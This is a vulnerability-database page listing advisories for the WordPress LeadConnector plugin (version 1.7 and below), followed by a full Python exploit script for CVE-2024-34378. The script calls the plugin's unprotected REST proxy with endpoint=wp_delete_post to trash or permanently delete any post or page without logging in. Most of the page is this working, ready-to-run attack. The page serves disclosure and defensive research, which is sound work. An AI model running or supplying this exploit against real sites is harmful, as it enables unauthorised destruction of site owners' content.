| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| WordPress plugin LeadConnector 安全漏洞 | 6 May 202400:00 | – | cnnvd | |
| CVE-2024-1371 | 30 Apr 202402:35 | – | cve | |
| CVE-2024-34378 | 6 May 202418:55 | – | cve | |
| CVE-2024-1371 LeadConnector <= 1.7 - Missing Authorization to Unauthenticated Arbitrary Post Deletion | 30 Apr 202402:35 | – | cvelist | |
| CVE-2024-34378 WordPress LeadConnector plugin <= 1.7 - API Broken Access Control vulnerability | 6 May 202418:55 | – | cvelist | |
| EUVD-2024-34750 | 3 Oct 202520:07 | – | euvd | |
| CVE-2024-1371 | 30 Apr 202403:15 | – | nvd | |
| CVE-2024-34378 | 6 May 202419:15 | – | nvd | |
| WordPress LeadConnector Plugin <= 1.7 is vulnerable to Broken Access Control | 3 May 202400:00 | – | patchstack | |
| WordPress LeadConnector plugin <= 1.7 - API Broken Access Control vulnerability | 3 May 202413:48 | – | patchstack |
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin LeadConnector <= 1.7 - Unauthenticated Arbitrary Post Deletion
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <[email protected]> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/leadconnector/
# Software Link: https://downloads.wordpress.org/plugin/leadconnector.1.7.zip
# Version: 1.7 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2024-34378
"""CVE-2024-34378 — LeadConnector <= 1.7 — Unauthenticated Arbitrary Post Deletion
Blackbox HTTP exploit against a real WordPress + LeadConnector install.
Root cause: the REST route `lc_public_api/v1/proxy` is registered with
`permission_callback => '__return_true'` (class-lc-admin.php). The proxy dispatches on the
`endpoint` query param; `endpoint=wp_delete_post` reaches `wp_delete_post($post_id, $force_delete)`
with `post_id`/`force_delete` taken from the attacker-controlled `data` JSON — no capability,
nonce or ownership check. Any anonymous user can trash or permanently delete any post/page.
Usage:
python3 CVE-2024-34378_leadconnector.py --target http://localhost:8090 --post-id 21 --force
"""
import argparse, json, sys
import requests
requests.packages.urllib3.disable_warnings()
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--post-id", type=int, required=True, help="post/page ID to delete")
ap.add_argument("--force", action="store_true", help="permanently delete (bypass trash)")
args = ap.parse_args()
base = args.target.rstrip("/")
data = json.dumps({"post_id": args.post_id, "force_delete": bool(args.force)})
url = base + "/wp-json/lc_public_api/v1/proxy"
params = {"endpoint": "wp_delete_post", "data": data}
print(f"[*] Target: {base}")
print(f"[*] Deleting post_id={args.post_id} (force={args.force}) as UNAUTHENTICATED user")
print(f"[*] GET {url}?endpoint=wp_delete_post&data={data}")
r = requests.get(url, params=params, timeout=20, verify=False)
print(f"[*] Response: HTTP {r.status_code}")
print(f"[*] Body: {r.text[:400]}")
# success => wp_delete_post returns the deleted post object (JSON with ID)
ok = r.status_code == 200 and (f'"ID":{args.post_id}' in r.text.replace(" ", "")
or '"post_status":"trash"' in r.text.replace(" ", "")
or str(args.post_id) in r.text) and '"error":true' not in r.text
if ok:
print(f"\n[+] Post {args.post_id} deletion request accepted by the plugin (unauthenticated).")
return 0
print("\n[-] Response did not confirm deletion; inspect body above.")
return 1
if __name__ == "__main__":
sys.exit(main())Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation